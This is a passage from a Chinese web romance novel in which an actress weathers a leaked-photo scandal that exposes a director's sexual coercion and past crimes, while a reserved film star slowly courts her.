江遥被凭空出现的陌生男声吓了一跳，听话地没有再动。
程绪起身按亮头顶大灯，丢下一句“你助理办手续去了”算做解释。
病房本就不大，他人高马大站在中央，让整个空间更显逼仄。
看出她的不安，程绪抚了抚袖口，转身施施然重新在床脚的凳子坐下。
江遥看突然出现在她病房里的男人，一副理所当然毫无拘束的样子，无数疑问争先恐后上涌：不是，我助理办手续去了，那你在这里干什么？我们很熟吗？
看对方没有交谈的欲望，明显得不到答案，她又自觉闭上了嘴巴。
这个死小鱼，等她回来非要好好问问她。
她默默躺下，头痛已经减轻了不少，想继续睡又睡不着，干脆睁着眼睛瞪着天花板发起了呆。
房间里明明两个人，却谁也不说话，各自默契地沉默着。刚开始倒还好，久了江遥就有点扛不住了，偷偷看了看还剩大半的吊瓶，试探着出声：“那个，我一个人待着就行，您去忙您的吧。”
刚刚还恨不得当他不存在的女人，突然开始出声赶人，程绪换了下坐姿，实事求是道：“我现在不忙。”
晚上的项目汇报改了时间，原定的跨国会议也已经让杨越推到了明天。
谁管你忙不忙啊，客套话你听不出来吗？江遥很想抓着他的领子摇一摇，到底懂不懂眼色？
江遥出师不利，无奈闭嘴，只能内心祈祷小鱼快点回来，不然明天你可能要在社会新闻上看到我了。
小鱼感受不到她的召唤，程绪看她又默默拉起被子盖住了脸，不知在闹什么别扭。从床尾站起来，走到她床边，站定，盯着露出半截头发的脑袋不吭声。
灼热的视线一动不动，仿佛要把被子盯出个洞。江遥窝在被子里憋得不行，气得一把拉开蒙在头上的被子，挺着脖子任他打量。
只见原本神色淡漠对他爱答不理的人，涨红着小脸瞪着他，目光透露着一缕幽怨，瞥了眼他，又瞥了眼吊瓶，指望他能读懂自己的眼神。
程绪突然福临心至，猜测道：“想去洗手间？”
江遥破罐子破摔，视死如归，重重点头。
程绪的表情难得出现一丝裂缝，忙说了句“抱歉”，匆匆转身想往外走，又回头确认，“需要帮忙吗？”
江遥得到解救，连忙掀开被子起身，摆摆手表示自己能行。
身上力气其实还没完全恢复，她猛地站起，脑袋有点发晕，脚下一软，身子往一旁的男人身上栽去。
程绪眼疾手快托住了她的腰，细瘦的腰肢，在他宽大的手中不盈一握。
其实对于程绪的颜值，江遥早有心理准备。毕竟能常年占据“圈内女星最想合作的男明星”以及“百万网友票选老公”排行榜榜首的人，外表早已经过圈内外各年龄层女性公开认证，自然毫无水分。
第一次见到真人的时候，连她也不得不慨叹一声：“上帝造人果然极为偏心，程绪本人竟然这么不上镜。”
那些被无数人舔屏的照片视频，不足以还原他的万分之一。
所以当程绪伸手捞住她，这极致的美貌，突然在她面前无限放大，她被迎面冲击得心肝一颤，干脆闭上眼睛，脑海中却像在慢放电影：男人眼眸狭长，眉目冷峻，映着毫无瑕疵的脸孔，如梨枝覆雪，月染苍山。睫毛静静垂落，好似寒潭倒影，端得一脸生人勿近。
冰雪似的人儿眸子一掀，本以为是清寒彻骨，不料却是蝶上花枝，暖意融融，带着不容错辨的关心。
怀中的女人闭着眼睛，眼皮飞速抖动，一脸心神不宁。程绪蜷了蜷手掌，到底松开，扶着她站稳。
女人在前面闷头移动，他提着吊瓶在后面跟着慢慢挪，到了洗手间门口，帮她把吊瓶挂好，确认她状态还行，提步走了出去，掩上房门。
难得和大众票选男神深夜共处一室，却是这样诡异的情形，说出去谁能心里平衡。江遥把手擦干，叹了口气。
想到他出门前还不放心似的叮嘱了句“有事叫我”就想尖叫，上厕所能有什么事！我和你不熟好吗！叫什么叫！
内心的小人正在疯狂咆哮，江遥闷闷地抬眼看了眼镜子，彻底呆住。
这镜子里的女人是谁？头发蓬乱，两眼无神，目光幽怨，眼底青黑。
算了算了，不想认。
她生无可恋地走出去，自己上床躺下，今日能量已经彻底告罄。不一会儿，程绪又默默出现在了他床角的专属席位上，仿佛在那扎了根。
反正脸也已经丢完了，江遥懒得理他，更没有精力再分神去想什么。
原本她精神就没有彻底恢复，之前看有陌生人在场，强撑着不敢睡着，这会儿心下一松，闭眼睡了过去。
听着清浅的呼吸声慢慢变得悠长，程绪起身，探着身子看过去，果然已经睡着了。
可能是女明星做久了包袱有点重？他想到她垂头丧气的表情，抬手压了压唇角。如果她知道自己手里还珍藏着她的黑历史，不会以后彻底避着他走吧。
电话打了好多遍都没人接，杨越徘徊在街边，怀疑自己这份工作是不是做不长久了。
公司最近和平城有合作，晚上本来约了饭局，刚刚出发就被电话打断，原定的会议也不开了。老板不思进取，留他一个人在这发愁。
屏幕上来电一闪一闪，程绪抬手细细给江遥掖好被角，拿起手机走了出去
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小鱼回到房间的时候，程绪正站在房门口打电话，声音不自觉压低，为原本清冷的嗓音莫名染上了一丝温柔暖意。
小鱼站在一旁，没有出声打扰。现在回想起来，她还有点懵。
遥遥姐突然倒下，她下意识伸手，也没赶上她向下滑落的速度。她伸着手呆住，一秒过去，两秒过去……却始终没有听到重物坠地的响声。
抬头，程影帝已经一把抱起了遥遥姐，抬步走进了电梯。她思绪混乱还没理清，一眨眼门口又出现了两人。
看了眼刘聪更显拥挤的房门，她转身小跑着跟了上去。
见她回来，程绪挂了电话。床上的女人还在安静地睡着，他意味不明地留下一句：“照顾好她。”
小鱼莫名感觉到了一股寒意，忙不迭点头如捣蒜。
程绪已经走了半个多小时，小鱼还在纳闷，自己刚才是怎么能从程影帝AI一般冷淡无波的声音里听出来一丝警告的。
而且，什么叫“照顾好她”？我本来就在照顾啊。还是嫌我没照顾“好”？也太不把自己当外人了吧。
算了算了，想不清。
杨越和孟棠推开门的时候，李然已经恢复了清醒，坐在床上进退两难，在孟棠刀锋一样凌厉的眼神里垂着头更不敢吱声。
闹成这样，刘聪也有点尴尬，还没回过神，一个旋风一样的男人抱着江遥就走，转眼投资人杨越又和孟棠一起出现在门口。
看到杨越他到底有点心虚，当初以为李然是他塞进来的关系户，后来看他完全没有过问，李然也不像是有什么背景，慢慢就忘了这一茬。现在被当场抓包，后知后觉有点尴尬。
想了想，还是粗起声音先发制人：“他自己非不肯回房，求我带他走，我只好带他回我房间休息一晚。”
在他的控诉里，李然突然闪过自己死死扒着刘聪喊姐的场面，更加心虚。
孟棠看他这模样，也没什么追究的力气了，踩着高跟鞋转身就走。李然亦步亦趋跟在身后。
他目送着孟棠走到酒店门口，今晚自己也会收拾东西离开剧组。当初拿到这个角色，他欣喜地以为，这是她给的奖赏，却没想到，是她送上的告别礼物。
今晚闹成这样，他知道，是自己搞砸了。
本以为她不会再开口，两人就这么沉默着分手。孟棠走出很远，想想是自己招惹他在先，还是忍不住回头。
男孩站在身后，看她停步，赶忙跑了过来，仰起头，等着她的下一步指令。
她强迫自己冷下心神，懒懒交代：“刚开始我就跟你说过，自己都不重视自己，也不会有人重视你。”
“以后好好爱惜自己。”
李然想起初见的时候，女人眉目嚣张，神色落寞，他走投无路，伸手接住了她递来的房卡，像捏住最后一根救命稻草。而她原来却只是寂寞，保护着他的天真意气，并不需要他给出什么。
车子启动，载着他年少的绮梦越行越远。
但好在，他还有长长的一生，来给自己编织下一个梦。
13. 爆料
江遥第二天就出院了，此后再也没见过程绪。
事后她问小鱼当天的情况，小鱼支支吾吾也说不出个所以然。
他跟孟棠前后脚出现，应该是为了李然。这是什么剧情，带着原配抓小三？
临到门口看她倒下，忍不住善心大发助人为乐了一下。江遥被自己的猜测逗乐。
想不通的事情就让它放在那，说不定哪天回头看就自己通了，她心大地想到。干脆就这么放置不管。
不料人不找事，事却找人。
李然离组后几天，江遥继续投入了紧张的拍摄工作。
年少时，楚云曾躲在父母房间门口，听过父亲对她自私的指责。却没听到在离开后，父亲继续说道：“但人总是在变的，为什么要因为一个举动就给孩子贴上标签呢？先顾好自己才有空顾别人，这原本就没什么不对。不能因为彤彤优秀，就这么说咱家云云有错。”
原来是父亲无意听到邻居对两个孩子的评价，自己又不擅和人争执，半夜三更气得睡不着，拉着老婆吐苦水，没想到却被女儿偷听到。
多年后再回头说起那天晚上，楚云其实早已经释然。
感受到楚云的释怀，江遥的心也跟着轻松了起来。前段时间演了太多压抑的戏份，带动她在戏外整个人也显得有点消沉。上次发烧，医生说也有郁结在心的原因。
好在，楚云最终在故事里找到了自己的平衡。
拍完上午的戏收工，总觉得今天旁人看自己的眼神怪怪的。她怀疑是自己多心。
小鱼赶过来，护着她匆匆走远。看她神情，江遥知道自己的第六感再次得到验证：确实是出事了。
不知道是谁，拍下了那天晚上的照片，并传到了网上。他们发现的时候，已经发酵开了。
江遥拿过小鱼的手机，照片一共三张。她点开大图一张张看过去。
第一张是她站在刘聪房门口，身上不合时宜地穿着宽大的外套，正手扶着门框笑得妩媚。刘聪裹着浴巾，两人对视。昏黄的灯光仿佛自带的滤镜，气氛看起来很是其乐融融。
另一张是她靠在小鱼的臂弯里，站立不稳，脸色煞白。小鱼满脸焦急说着什么。这张镜头拉近，能看清刘聪身上新鲜的抓痕。
还有张刘聪领着一个少年回房的背影照，照片里能看出刘聪的侧脸，少年的面容却看不见。
拍摄的环境光线并不明亮，却不影响别人一眼认出江遥。实在是她的脸太具有标志性了。
照片一发，很快吊起了大家的八卦热情。虽然很多人不认识刘聪，但有人孜孜不倦科普，这是江遥新戏的导演。
不明就里的吃瓜群众恍然大悟：「哟嚯，这么说我就明白了。」
「贵圈真乱，两男一女一晚上一间房，忙够呛。」
「这导演男女通吃，也不怕吃坏了肚子。」
「江遥图什么啊？看她最后都站不住了，我听说有些人玩很花的……」
「这个天穿这么大个外套，很难让我不多想。」
「之前别人说她作风有问题我还不信，没想到美女口味这么重……」
「导演X女演员，跟着我嗑CP不会错的，经典！保真！」
「只有我好奇这照片是怎么流出来的吗？看起来像是内部工作人员爆料啊。」
「谁管那么多，你就说是不是这么回事儿吧？早说了苍蝇不叮无缝的蛋。」
虽然李然没被拍到脸，但看装扮，其实剧组和他熟悉的人也能认出来。
一个瓜吃到了导演和同组女主演和男演员的身上，怪不得其他人眼神微妙。毕竟牵扯到导演，估计不好私下交流，但线上也许已经在和朋友疯狂吐槽。
江遥能理解，毕竟生活嘛，就是今天我笑笑你，明天你笑笑我，碰到再大的事儿，在别人看来也不过是个茶余饭后的笑谈罢了。谁管什么真假呢。
发生这种事，导演脸上也不好看，剧组通知下午放假，江遥干脆就回酒店躺着，免得其他人看到她明明内心弹幕狂发，表面还得装没事人一样，彼此尴尬。
她把手机也调成了静音，懒得理会别人的打探和关心。
本想让小鱼回自己的房间，小鱼不放心她，非要窝在一边守着，仿佛她是一个脆弱的瓷娃娃。
她干脆也懒得管，直接拉上窗帘睡了个天昏地暗。
醒来的时候，房间里只有小鱼的手机屏幕幽幽冒着白光，打在她脸上，像被灵异电影主角附在了身上。
江遥出声提醒：“别窝在我床边吓人。”
小鱼正披着马甲在网络上和人大战，被她打断，赶忙打开灯给她汇报情况。
“刚刚Susie姐让你醒了给她回个电话。”
“下午又有人在网上爆料说某天晚上看到导演敲你门了。”她愤愤不平，“都是同一个剧组他们怎么就那么多心眼子呢？敲门难道犯法吗？手长在他身上他非要敲有什么办法？”
“还有人说之前聚餐你们同时消失了一段时间。是不是上次你提前走那回？他怎么你了？没吃亏吧？”小鱼边说边冒出新问题，江遥招架无能，示意她先缓缓。
小鱼赶紧又翻拣了下，挑出几个重点同步给她：“半小时前曾芜姐来敲门我替你推了，但是二十分钟前她微博发了消息，你记得看看。”
江遥给Susie拨过去的时候，对面一直提醒忙线中，想来这个点Susie的电话已经被媒体打爆，虽然她流量大不如前，但明星的绯闻八卦，总有许多人爱看。她替Susie默默掬一把同情泪，作为她的经纪人也是很不省心。
她干脆登上微博，看看曾芜到底发了什么，值得小鱼来特别提醒。
电影官宣时，她和同组大部分同事都互关了，点开好友圈，只见曾芜二十分钟前PO了两张和江遥的照片。
一张是两人身穿戏服，还是楚彤楚云的装扮，对着镜头开心比耶；另一张是烧烤那天，江遥举着烤串搞怪的照片。配文：“新认识的可爱妹妹。”
对于那天提前离席，江遥知道曾芜曾有过猜测和担忧，却最终没有找她问出口。他们在戏里从亲近到陌生，又从对立到相拥，戏外两人虽然交集不算多，但却莫名相信对方的底线到底如何。
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相处下来，江遥发现曾芜是一个容易多思和相对内敛的人，亲自来敲门，想必是真的担心她的状况。
知道她不方便，又直接选择面向公众发声，甚至没有提前跟她问过一声。江遥知道，这是一份难得的信任。而她，始终不想辜负相信她的人。
虽然曾芜不走流量路线，粉丝大部分都是忠实的演技粉，但面对这样巨大的负面舆情，所有的证据都指向她江遥是一个随便的女人，曾芜选择在此时发这样的博文，不用想也知道评论区不会太好看。脱粉、失望、利益捆绑、蹭热度等关键词应该会高频出镜。
不想再波及到她，江遥直接下线，点开了曾芜的微信：「谢谢姐。」
曾芜回了两个拥抱的表情，一切尽在不言中。
在江遥醒来前，小鱼原本正披着小号在网络上和人大战三百回合，被她打断，现在再看手机，对面已经连怼了十几条，最后还在疯狂叫嚣：「你人呢，不会被喊去写作业了吧?」
小鱼看着屏幕上的污言秽语，突然觉得索然无味，就像遥遥姐总说的，世界上那么多人，我们不能强求每个人的认同。随手拉黑，直接下线。世界瞬间清净。
Susie的电话终于打进来，首先问候了下她目前的情况，又温声提醒：“公司电话快被打爆了，你这几天就在剧组待着不要出门，等热度下去了就好了。”江遥点头答应。
Susie没有问她事情真假，合作这么些年，如果江遥有心，又怎会让自己混到目前的境地。
挂电话前，她又叮嘱她先不要随便发声，公司还在紧急开会讨论相应的公关方案，一切听公司安排。江遥漫不经心地应着，内心却想，公司真的会管吗?不过也无所谓了。
微信里有亲朋好友发消息来关心，江遥挑着回复了几个。
「姐，对不起，连累到了你。」李然清醒后联系前因后果，自然知道江遥是为她才找上21楼，看着网络上大家对江遥的声讨和嘲讽，他不无愧疚。
如果当时真的被刘聪得逞……他不敢再想下去。
只是再次给出自己的态度：「如果需要的话，我可以作证，发声澄清。」
江遥回复：「不必了。感恩。」
李然自己本就是一介素人，人微言轻，贸然跳出来除了让自己染上满身泥泞，满足网友们对绯闻事件中另一个男主角的好奇心，其他毫无作用。
即使只是白璧微瑕，自此以后，挑剔的看客也始终会把目光聚焦在那细小的瑕疵上。所以何必为了她，平白耽误一个少年人的未来呢。
如江遥所想的那样，轻音娱乐最终也没给出明确的公关方案，只是不痛不痒发了个声明，如果肆意造谣将会收获律师函警告。
本以为再过几天，事情热度自然就会下去了，圈子里关于导演和女演员的八卦层出不穷，不说上千也有上百，就算清清白白两个人也能被联想出无数桃色新闻。
演员不愧是信念强大，第二天大家没事人一样继续出工。
但不成想，网友四处吃瓜，雪球越滚越大，远远超出了他们的预料。
14. 一波又起
不知道最初是哪里透出的消息。
有人扒出《双生花开》最初已经定了女二人选，后因原定女二档期冲突辞演，剧组重新选角，才有江遥最终上位。
好像这样说也没有问题对不对?但问题就在于，对不上啊，通通对不上。
原定女二刘曼退出原因是档期冲突，但神通广大的网友们发现，她根本就没有进组，这几个月一直在家抠脚。
宁愿放弃刘聪电影女二的角色在家抠脚，这人是不是有什么问题?毕竟这个角色可算是个香饽饽，就连配角团队也算有排面。
本身能拿下那个角色的，自然不可能有什么问题。那其中必然有什么不为人知的猫腻。
顶不住网友一直打听，最后刘曼发了篇长文，向大家剖析了自己那一个多月的心路历程。
原来刘聪一边说欣赏她给她角色，一边威胁她让她进行不足为外人道的交易。一边是前途一边是底线，她经过了很长时间的纠结，最终还是选择辞演。
但胳膊拧不过大腿，刘聪也不是什么新人导演，她对外什么也不敢说，只能自认倒霉，体面告别。自然，后续资源也受了影响，一直只能在家抠脚。
本来她想默默吃下这个暗亏，但既然这么多人关心，所以她选择勇敢发声。
既然刘曼因不肯接受潜规则而失去了角色，那得到角色的江遥必然是为此付出了什么。众人一致得出这个猜测，有种果然如此的满足。
另有知情人爆料，江遥这个角色，经纪公司原本推荐的是方琦，是江遥和刘聪见了一面后，两人的角色换了个个。
这不就通通对上了。
江遥成了剧组这几天的热门人物，只要她出现，就会有人行来注目礼。而她没事人一样，该吃吃该喝喝，似乎并没有受到太大影响。
有人猜测，或许她只是强撑着装淡定。毕竟事情闹到这地步，就算痛哭流涕也早已于事无补。
大家什么也没有提，只是默契地加快了拍摄的进度，这样风雨飘摇的情况下，谁也不知道下一秒还会发生什么。
江遥一边吃盒饭一边津津有味地听小鱼念她微博下的热评，两人还时不时点评几句。突然有陌生电话打进来，她看着屏幕上的来电图标一直忽闪忽闪，直看到它自动挂断。
结果没一会儿，这个号码又打了第二遍，仿佛有着无尽的耐心。江遥直接挂断。自己的私人号码，到底是怎么泄漏的？
还没等她想出个究竟，第三个电话又来了，这次她选择了直接拉黑。
一分钟后，有新的短信进来，江遥默默念叨到底是谁这么邪门，这个年代还在发短信。点开后，对方干脆地自报家门：「江遥，我是程绪。」
江遥回想了下自己几次和程绪的交集，实在不懂他此时找来的原因，不懂就问：「？」
程绪倒也爽快，开门见山：「我可以说明，那天晚上你跟我在一起。」
最近一段时间里，已经有好些人私下跟她讨论过，要不要公开为她发声，而此时江遥还是那句话：「不必了，谢谢。」
而且到底那晚是跟他在一起还是跟导演在一起又有什么区别呢，不过说引发新的一轮议论，反正她早已解释不清。
而这些，只是一个开始。
不断有女演员站出来或实名或匿名指认，控诉刘聪此前种种不道德的行为。威逼利诱、潜规则等等不一而足。
《双生花开》剧组，在短短一个星期里，臭名昭著。
如果说之前剧组成员只是按捺不住吃瓜的心情，眼见着这样的演变，心情都有点沉重。
这部戏凝聚着所有人的心血，大家为它没日没夜地拼搏了几个月，每个人都试图交出一份完美的答卷。而它的走向，似乎已经变得岌岌可危。
网络上，大家不约而同开启了对刘聪这个无良导演的讨伐，以及对江遥助纣为虐、毫无底线行为的唾弃。
就在这样压抑的气氛里熬着熬着，电影终于杀青了。
开机的时候，谁也不知道杀青这天会是这样的局面。
天气雾蒙蒙的，飘着毛毛细雨。这两天气温骤降，就像大家慢慢冷却的心。有人迫不及待翻出外套，领子拉到下巴，也有人搓着手冻得瑟瑟发抖，只想这一切早点结束。
大家强装笑脸，说着杀青大吉、票房大卖的吉利话。本来很多演员已经提前离组，此时更显寥落，大合照都没有拍上一个。就在这样的气氛里，一切定格。
江遥与众人道别后，和小鱼撑着伞往回走。
突然圈子外围响起一阵骚动，并且这骚动声仿佛还在向着这边移动。江遥顺着声音抬头，只见一个身穿旗袍打扮阔气的中年女人，挎着包雄赳赳气昂昂地向这边走来，旁边一个黑衣男人替她撑着伞。
她体型较为臃肿，却丝毫没有影响移动的速度，一眨眼的功夫就冲到了江遥面前，抬手掀翻了她手中的伞，叫嚣着：“我倒要看看这狐狸精到底长着怎样一张脸，到处勾引别人的男人。”
此话一出，大家心领神会：原来是原配闹上了门。
小鱼立马挡在了江遥身前，曾芜他们见状，赶忙拉着江遥往后退。
原来，这刘太太平常没事就爱搓搓麻将，这几天大家落在她身上的眼神隐隐有些同情，她一直没搞懂原因。也就是昨天和她相熟的牌友隐晦地提醒，才知道网络上最近闹得轰轰烈烈的新闻。
牌友还特意提点：听说剧组明天就杀青了。所以她连夜飞来平城，准备给那狐狸精一点颜色瞧瞧。
啧啧啧，瞧这娇滴滴的样子。刘太太心道一声可惜了，伸手就往江遥脸上挠。这边江遥身边也围上了工作人员，闹得一个鸡飞狗跳。
不远处有人偷偷掏出手机，打开了摄像头。
刘聪听到动静，匆匆赶来。他最近深陷舆论，一直在找关系摆平，但事情已经完全失控，越闹越大。有朋友给他漏了点风，好不容易剧组杀青，他正准备低调一阵避避风头，谁知道太太还要来大闹剧组。他满脸怒意，声音没有控制住：“公众场合，胡闹什么！”
刘太太被他当着众人的面这么吼，里子面子都丢光了，笑得好不凄惨：“好啊，果然和这狐狸精是一伙的！”
本来刘聪就嫌弃她没什么文化，长得也不漂亮，经常在外面瞎搞。对此她向来是睁一只眼闭一只眼，
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但没想到刘聪这回闹到了这么多人面前，牌友看她都像在看什么可怜虫一样。这次的狐狸精看来功夫很是了得，自从那件事发生后，刘聪还是第一次在她面前这么疾言厉色，明显这是不想往好里过了！
想想说不定自己哪天就要被扫地出门，她悲从中来，干脆一屁股往地上一坐，拍着大腿开始跟他大翻旧账：“你这个糊涂鬼，被鬼迷了心窍了！”
“这种脏女人还不知道有没有病，就你当个宝似的捧着！”
“在外玩玩就算了，闹成这样让我和孩子脸往哪里搁！你个老不羞！”
……
哭着喊着，她仿佛完全沉浸在自己的情绪里，甚至忘了这是公众场合，恨声道：“当初玩死了人还是我哥替你擦的屁股，不然哪有你现在这么威风！”
此言一出，旁边收拾东西的、交谈的、看戏的，所有人都静了下来，整片空间落针可闻。
下一秒大家却仿佛突然想起什么。
“我还有点事，先走了。”
“我也先走一步。”
不一会儿，整个场子走了个空。只有沾着冷意的雨点，落进了刘太太茫然睁大的眼。她后知后觉，自己刚刚瞎嚷嚷了些什么。
原来刘聪当初连火了几部戏，整个人飘飘然，越玩越大。和剧组一个美少年相好时，不知道是自己力道没收住还是对方太脆弱，就这么玩出事了。少年的哥哥带着刀找上门，直言要和刘聪同归于尽。刘聪借口休养身体，躲躲藏藏了几年，直到认识了家里有点道上背景的刘太太，哥哥被设计进了监狱，刘聪以为自此高枕无忧，才敢重新冒头。
谁知这眼见着又把自己作死了。
《双生花开》剧组的瓜越吃越大，彻底引爆了热搜，也惊呆了各位蹦跶在瓜地里的网友。
刘聪被立案调查。导演成了法制咖。
《双生花开》，花还没来得及开放就提前凋落，估计不会有重见天日的时候。就算最终上映，大概率也只能在视频网站相见了。
对于这一系列变故，江遥觉得惋惜，却并没有遗憾。她已经完全将自己交付给了楚云这个角色，实打实完成了这么多天的拍摄，学到的东西也不会因为电影无法上映就消失掉。刘聪，完全罪有应得。
只是那天刘太太因为打不到她本人，就气得踩她跌落在地的雨伞泄愤。江遥离开的时候，抱着自己尸骨零落的雨伞，颇为头疼。
只怪最近太忙，没有及时归还。现在伞坏了，据说还是限量版，那她也来不及再去买一把，看来只能大出血自掏腰包了。
她向李然打听杨越的联络方式，本来没报太大希望，没想到李然不一会儿就给她发来一串电话号码。
试探着想拨过去，结果才敲了几个数字就发现不对劲。一看果然是上次和她发过信息的程绪。
不过那人和孟棠认识，自然和程绪也相熟，说不定是李然手抖发错号码了。她斟酌了一下，还是先发了条短信：「抱歉打扰，我是江遥。请问您知道杨越的联系方式吗？」
程绪看着杨越火烧屁股一般匆匆捧上自己的手机，伸手接过，抬手回了串号码，附言：「微信联系。」
15. 加个微信
杨越敢怒不敢言，自己打骚扰电话被人小姐姐拉黑，就抢下属的手机和人联系。
老板的爱情明明还没萌芽，自己这爱情保安就先提前当上了。几十年后找不到工作，简历里还能填自己有多年保安经验。从现在开始好好锻炼，一准能赢在起跑线。
他自我安慰完毕，一抬头，老板正面无表情地盯着他。他心领神会，懂懂懂，这是嫌他碍事了，还不哪边凉快往哪待着。很好，用完就丢。
江遥发完信息，等了几分钟都没有回复。想想也是，人家影帝和她不一样，想必天天有的是事情忙。
广播已经通知登机，江遥将手机往包里一丢，没再关注。
《双生花开》杀青后，大家纷纷飞离。退房时碰到面熟的同事，有人板着脸面色不佳，明显迁怒；也有人笑着安慰她，未来还长。
她知道有很多人，原本等着电影上映，将其写进履历，而这一切，现在都成了泡影。忙忙碌碌最终一场空，换谁都需要一个调试的过程。
江遥甩甩头，将这一切抛在脑后，踏上了回A城的飞机。
几个月没回来，家里已经积了厚厚一层灰。小鱼给她请了钟点工，来了个彻底的大扫除，两人则去超市搬回了许多吃的。
再想起看手机，已经是傍晚了。
收件箱里，躺着程绪发来的一串号码。看时间，还是上午发的。
简直帮大忙了，她赶忙回复：「OK，万分感谢！」
一鼓作气打开微信搜索添加好友，免得夜长梦多。
杨越觉得自家老板今天的工作效率显著降低，原本沉浸式工作的人仿佛魂儿没带出门，隔一阵子总得去摸下手机。
很好，这次坚持过40分钟了。他看了看表，在一旁悄悄计时。
程绪疑心是不是自己手机出了问题，明明已经打开了消息提示音，它却没有丝毫响动。
正想要不让杨越打个电话试试。没想到旁边桌上杨越的手机先响了。
杨越看到发件人，赶忙捧过去给程绪。
公事公办的语气，毕恭毕敬的口吻。他思索回点什么才不会显得没话找话，“叮”的一声，旁边自己的手机终于响了。
点开微信列表，多了一个新的好友请求，来自“摇啊摇”。
头像是江遥站在海滩边的背影照，海水蔚蓝，她穿着蓝色长裙和海天融为一色，仿佛不用力握紧，就会随风消散。
程绪心念一动，点击通过。
对面秒过，江遥赶紧趁热打铁。
摇啊摇：「您好，我是江遥。谢谢您上次送我回家，雨伞的钱多少，我转您。」
C：「不用，把伞给我就行。」
摇啊摇：「是这样的，雨伞不小心被弄坏了，不过我会赔偿的。」
C：「不必。」
人家可能确实不差这点钱，但吃人嘴短拿人手软，江遥也懒得推拉，直接去网上搜了下价格，再往上多加了点转了过去。
程绪看着对话框里静静躺着的转账记录，点击退还，屏幕上弹出“退还摇啊摇的转账”的字样，最终又没有按下。手机放到一边，开始认真处理工作。
杨越在一旁看程绪身边堆积的文件一会儿功夫下去半摞，简直目瞪口呆，怪不得和乌龟赛跑兔子那么有恃无恐地打盹呢，你瞅瞅他这效率，半天不认真干活，一认真马上顶人干半天。还有没有天理了！
程绪处理完今天的工作，江遥还在对着昵称为“C”的微信昵称发呆。对方朋友圈很干净，什么都没有，看昵称和头像也是简单利落的风格，看起来比本人倒是难亲近了很多。钱给不出去啊，发愁。
想了想，还是硬着头皮去提醒：「记得收一下。」
对面继续高冷：「说了不必。」
江遥咬咬牙，直接摊牌吧。
摇啊摇：「你不收我会良心不安。」
C：「要不直接请我吃饭当赔偿。」
江遥想想好像也不是不行，对方明显没把一把雨伞看在眼里，说了不必还，自己在这里强硬推拉，反倒显得有点斤斤计较。
打定主意，她直接答应下来：「可以，您想吃什么？」
C：「你定。」
摇啊摇：「明晚7点，时玖料理，方便吗？」
C：「可以。」
对方惜字如金，江遥也点到为止，没再回复。
晚上6点，江遥带着小鱼出门。
之前刷到一顿饭十几万的时候，小鱼还在喊着要和那些有钱人拼了，没想到托姐的福，自己也能跟着蹭一把大的。
路上有点堵车，他们离原定时间晚了十分钟。
侍者恭敬地把他们引到位置，李然已经紧张地和程绪面面相觑了十分钟。
昨晚遥遥姐说请杨越吃饭，请他做陪缓和下气氛。没有多想，他就答应了。
谁知道到了餐厅，遥遥姐还得晚一会儿，而侍者径直把他引到了程绪面前。
看清眼前端坐的男人，他脚步越走越慢，进退两难，怀疑是不是误入了片场。
遗憾的是，再三确认过，没有错。
对于他来说，程绪既是高不可攀的影帝，也是那个女人唯一并肩过的知己。站在他面前，他总有种自惭形秽的感觉，仿佛自己是一个偷人东西的小丑，觊觎着别人捧在手心的珍珠。
不过，他怎么会出现在这里？
小提琴的声音悠扬，十分钟里，两人除了一开始互相点头致意，毫无交流。而且如果他没有看错，影帝的表情越发冷了。
高跟鞋的敲击声“笃笃”响起，江遥一身黑色长裙，完美修饰身形。卷翘的长发披散胸前，妆容精致，款款而来。
程绪背对着她坐着，看到李然坐在对面，江遥唇角一扬，朝“杨越”伸手道：“不好意思让您久等，我是江遥。”
男人微微侧身回头，缓缓露出卷翘的睫毛、狭长的眼尾、冷峻的侧脸，江遥越看越觉得有点不对。直至整张面容展示在眼前，她的表情微微僵住，犹疑着想收回伸在半空的手。程绪不以为意，起身握住打了个招呼，拉开椅子带她入座：“还好，不算久，程绪。”
江遥直愣愣坐下，露出呆站在她身后的小鱼。
程绪看到
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小鱼的时候，已经完全没了脾气。
侍者捧上餐单，程绪递给江遥，江遥摆摆手：“今天我请，您随便点。”
程绪没有客套，抬手勾了几道，想了想，又添上两道甜品。
直到餐盘上桌，江遥还在心不在焉的状况中，看程绪手握刀叉，慢条斯理吃得认真。她偷偷摸出手机，戳了戳。下一秒，程绪的手机屏幕亮了。
拿起餐巾揩了揩嘴，程绪拿过一旁的手机，滑开。
摇啊摇：「？」
江遥看到他的动作，已经尴尬得恨不得夺路逃走。
对面女人已经快把头埋进餐盘里，卷发垂落遮住泛红的双颊，程绪不忍破坏她的幻想，却也只能无情击穿：「没错，是我。」
桌上暗流涌动，小鱼努力降低存在感，机械地张嘴吃个没停。
一顿饭在四人诡异的气氛里吃完，江遥起身结账。经理笑着告知，已经挂在了程先生的账上。
闻言，江遥面容已经扭曲成一团，上一波债还没还完，又欠下一顿饭，而且约的是杨越，怎么来的是他呢？越想越乱。要不是顾及女明星的修养，她很想大问一声为什么。事情怎么成了这样。
当程绪神色淡淡，提议送他们一程的时候，李然摆摆手溜得飞快。小鱼揉着吃撑的肚子，哀怨表示自己消化不良，需要走路散散。
程绪无所谓地点头，而后看着江遥，目带询问。
逃避不是办法，江遥心想，今晚必须得把这事儿弄明白了。
黑色宾利停下，车里杨越落下车窗，笑着招呼江遥上车。
“我助理，杨越。”车子缓缓驶动的时候，程绪向她介绍。
“所以那天试镜，是你让他送我回家的？”江遥把一切串了起来，联想起那天车里落下的挡板，杨越毫无多言的表现，原来是有老板后排坐镇。
“对，我工作室投资了《双生花开》，那天你们试镜的录像我都有看。”程绪这会儿似乎很好说话，无问不答。
“呃，那您岂不是亏大了。我是说，剧组现在这情况……”江遥想想最近这混乱的状况，挠挠眼角，颇有点心虚。
杨越作为投资商代表被刘聪安排在C位，想必投资并不小。而杨越的身后，站的是程绪。
怪不得之前也总碰到杨越和孟棠一起呢，原来是这样的关系，这样解释她就懂了。
程绪不知道她的思绪已经发散开了十万八千里，接上她之前的话题，无所谓地道：“还好，值了。”
剧本本身够扎实，她演到了想演的角色，他也得到了想要的，何乐不为呢。
投资本就伴随着风险，慢慢来吧。
而江遥的脑洞一开，就完全停不下来。怪不得刚才桌上，程绪的脸色并不是很好看，自己约着感谢人家，还把情敌带上了台面。虽然小情侣可能各玩各的，但是自己也没必要非带着人来给他上眼药。
懂了懂了，以后和程绪见面，绝对不能带李然出现。她不断告诫自己，在心里狠狠划上重点加粗的标记。
完全忘了，照这样发展，此后她哪还有和程绪见面的必要。
16. 先嗑一口
